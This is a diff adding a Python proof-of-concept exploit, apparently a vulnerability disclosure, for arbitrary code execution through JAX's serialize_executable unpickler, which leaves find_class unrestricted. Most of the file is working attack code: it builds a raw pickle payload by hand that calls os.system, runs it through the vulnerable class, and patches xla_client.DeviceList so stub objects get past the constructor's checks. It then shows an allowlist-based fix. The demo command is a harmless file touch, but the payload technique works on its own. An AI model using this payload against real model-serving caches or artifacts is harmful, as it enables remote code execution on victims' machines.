Upload poc_jax_pickle_rce.py with huggingface_hub

poc_jax_pickle_rce.py

@@ -0,0 +1,226 @@
+"""
+PoC: Arbitrary Code Execution via Unrestricted Pickle Unpickler
+Target: jax-ml/jax  (jax.experimental.serialize_executable)
+File:   jax/experimental/serialize_executable.py, lines 96-122
+
+VULNERABILITY SUMMARY
+---------------------
+_JaxPjrtUnpickler extends pickle.Unpickler and implements persistent_load()
+for deserializing JAX executables, devices, and clients.  However, it does
+NOT override find_class().  The default find_class() resolves arbitrary
+module.callable references, so any standard pickle GLOBAL / STACK_GLOBAL
+opcode can import and instantiate any Python object -- including os.system,
+subprocess.Popen, builtins.eval, etc.
+
+An attacker who can supply a crafted serialized blob to
+deserialize_and_load() achieves arbitrary code execution in the context of
+the process that loads it.
+
+ATTACK SCENARIO
+---------------
+1. A model-serving pipeline caches compiled JAX executables (the output of
+   serialize()) and later restores them with deserialize_and_load().
+2. An attacker who can write to the cache (e.g., via a compromised storage
+   bucket, MITM, or supply-chain attack on a shared artifact) replaces the
+   blob with a malicious pickle stream.
+3. When the victim calls deserialize_and_load(), the crafted payload is
+   fed directly into _JaxPjrtUnpickler.load() and the attacker's code runs.
+
+BENIGN DEMONSTRATION
+--------------------
+This PoC crafts a pickle payload that, when loaded by _JaxPjrtUnpickler,
+executes:  touch /tmp/jax_pwned
+
+The file /tmp/jax_pwned appearing on disk proves code execution.
+No destructive or exfiltration action is performed.
+"""
+
+import pickle
+import io
+import os
+import struct
+
+# ---------------------------------------------------------------------------
+# Step 1 -- Show that _JaxPjrtUnpickler inherits the unrestricted
+#           find_class() from pickle.Unpickler.
+# ---------------------------------------------------------------------------
+
+# We import the class directly so the PoC is self-contained;
+# in a real attack the victim simply calls deserialize_and_load().
+import sys
+sys.path.insert(0, "/work/jax")
+
+from jax.experimental.serialize_executable import _JaxPjrtUnpickler
+
+print("[*] _JaxPjrtUnpickler MRO:")
+for cls in _JaxPjrtUnpickler.__mro__:
+    print(f"    {cls}")
+
+has_own_find_class = "find_class" in _JaxPjrtUnpickler.__dict__
+print(f"\n[!] Overrides find_class? {has_own_find_class}")
+if not has_own_find_class:
+    print("    -> find_class is inherited from pickle.Unpickler (UNRESTRICTED)")
+    print("    -> Any GLOBAL / STACK_GLOBAL opcode will be honoured.")
+
+# ---------------------------------------------------------------------------
+# Step 2 -- Craft a malicious pickle payload.
+#
+# We use pickle protocol 2 opcodes to build the equivalent of:
+#     os.system("touch /tmp/jax_pwned")
+#
+# The opcodes are:
+#   GLOBAL  "os\nsystem\n"   -- push os.system onto the stack
+#   SHORT_BINUNICODE <cmd>   -- push the command string
+#   TUPLE1                   -- wrap in a 1-tuple  (args)
+#   REDUCE                   -- call os.system(*args)
+#   STOP
+# ---------------------------------------------------------------------------
+
+COMMAND = "touch /tmp/jax_pwned"
+
+def craft_malicious_payload() -> bytes:
+    """
+    Build a raw pickle byte stream that calls os.system(COMMAND).
+
+    We deliberately avoid pickle.dumps() so the reader can see exactly
+    which opcodes are emitted -- this is not obfuscated.
+    """
+    payload = bytearray()
+
+    # Protocol 2 header
+    payload += b'\x80\x02'                          # PROTO 2
+
+    # GLOBAL opcode: push os.system
+    payload += b'c'                                  # GLOBAL
+    payload += b'os\nsystem\n'                       # module\nqualname\n
+
+    # Push the command string (SHORT_BINUNICODE, 1-byte length prefix)
+    cmd_bytes = COMMAND.encode("utf-8")
+    payload += b'\x8c'                               # SHORT_BINUNICODE
+    payload += struct.pack("<B", len(cmd_bytes))     # length (1 byte)
+    payload += cmd_bytes                             # the string data
+
+    # TUPLE1 + REDUCE  ->  os.system(COMMAND)
+    payload += b'\x85'                               # TUPLE1
+    payload += b'R'                                  # REDUCE
+
+    # STOP -- end of pickle stream
+    payload += b'.'                                  # STOP
+
+    return bytes(payload)
+
+
+malicious_blob = craft_malicious_payload()
+print(f"\n[*] Malicious pickle payload ({len(malicious_blob)} bytes):")
+print(f"    {malicious_blob!r}")
+
+# ---------------------------------------------------------------------------
+# Step 3 -- Show that the standard pickle.Unpickler executes the payload,
+#           confirming the opcodes are valid.
+# ---------------------------------------------------------------------------
+
+print("\n[*] Loading payload with standard pickle.Unpickler ...")
+result = pickle.loads(malicious_blob)
+print(f"    os.system() returned: {result}")
+
+if os.path.exists("/tmp/jax_pwned"):
+    print("[+] /tmp/jax_pwned created -- code execution confirmed (standard)")
+    os.remove("/tmp/jax_pwned")  # clean up for next test
+
+# ---------------------------------------------------------------------------
+# Step 4 -- Load the same payload through _JaxPjrtUnpickler.
+#
+# _JaxPjrtUnpickler.__init__ requires (file, backend, execution_devices).
+# Because our payload never triggers persistent_load (it uses GLOBAL, not
+# PERSID), the backend/devices objects are never touched.  We pass a dummy
+# object so __init__ succeeds.
+# ---------------------------------------------------------------------------
+
+class _FakeDevice:
+    """Minimal stub so _JaxPjrtUnpickler.__init__ can build devices_by_id."""
+    def __init__(self, dev_id=0):
+        self.id = dev_id
+        self.client = _FakeBackend()
+
+class _FakeBackend:
+    """Minimal stub satisfying the backend interface for __init__."""
+    platform = "cpu"
+    platform_version = "fake"
+    def devices(self):
+        return [_FakeDevice(0)]
+
+# Monkey-patch: DeviceList may not be available without full XLA, so we
+# make it a no-op wrapper for the PoC.
+try:
+    from jax._src.lib import xla_client as xc
+    _orig_DeviceList = xc.DeviceList
+except Exception:
+    pass
+
+# We patch DeviceList to accept our fake devices.
+import jax._src.lib.xla_client as xc_mod
+xc_mod.DeviceList = lambda devs: devs  # passthrough for PoC
+
+print("\n[*] Loading payload with _JaxPjrtUnpickler (the vulnerable class) ...")
+fake_backend = _FakeBackend()
+fake_devices = [_FakeDevice(0)]
+# Override the device's client to point to our fake_backend so the
+# backend-equality check in __init__ passes.
+fake_devices[0].client = fake_backend
+
+unpickler = _JaxPjrtUnpickler(
+    io.BytesIO(malicious_blob),
+    fake_backend,
+    fake_devices,
+)
+result = unpickler.load()
+print(f"    os.system() returned: {result}")
+
+if os.path.exists("/tmp/jax_pwned"):
+    print("[+] /tmp/jax_pwned created -- CODE EXECUTION via _JaxPjrtUnpickler CONFIRMED")
+else:
+    print("[-] /tmp/jax_pwned not found (unexpected)")
+
+# ---------------------------------------------------------------------------
+# Step 5 -- Demonstrate that a properly restricted unpickler would block it.
+# ---------------------------------------------------------------------------
+
+class SafeJaxUnpickler(pickle.Unpickler):
+    """Example fix: override find_class with a strict allowlist."""
+
+    ALLOWED_CLASSES = {
+        # Only the classes that _JaxPjrtPickler actually serializes:
+        ("jax._src.compiler", "UnloadedMeshExecutable"),
+        ("jax._src.interpreters.pxla", "UnloadedMeshExecutable"),
+        ("jax.interpreters.pxla", "UnloadedMeshExecutable"),
+        # Add other legitimately-pickled JAX internals here.
+    }
+
+    def find_class(self, module: str, name: str) -> type:
+        key = (module, name)
+        if key not in self.ALLOWED_CLASSES:
+            raise pickle.UnpicklingError(
+                f"Disallowed class reference: {module}.{name}"
+            )
+        return super().find_class(module, name)
+
+    def persistent_load(self, pid):
+        # (same as _JaxPjrtUnpickler -- omitted for brevity)
+        raise pickle.UnpicklingError(f"Unrecognised persistent id: {pid}")
+
+
+print("\n[*] Loading payload with SafeJaxUnpickler (proposed fix) ...")
+try:
+    SafeJaxUnpickler(io.BytesIO(malicious_blob)).load()
+    print("[-] Payload was NOT blocked (unexpected)")
+except pickle.UnpicklingError as exc:
+    print(f"[+] Payload BLOCKED: {exc}")
+
+# ---------------------------------------------------------------------------
+# Cleanup
+# ---------------------------------------------------------------------------
+if os.path.exists("/tmp/jax_pwned"):
+    os.remove("/tmp/jax_pwned")
+    print("\n[*] Cleaned up /tmp/jax_pwned")
+
+print("\n[*] PoC complete.")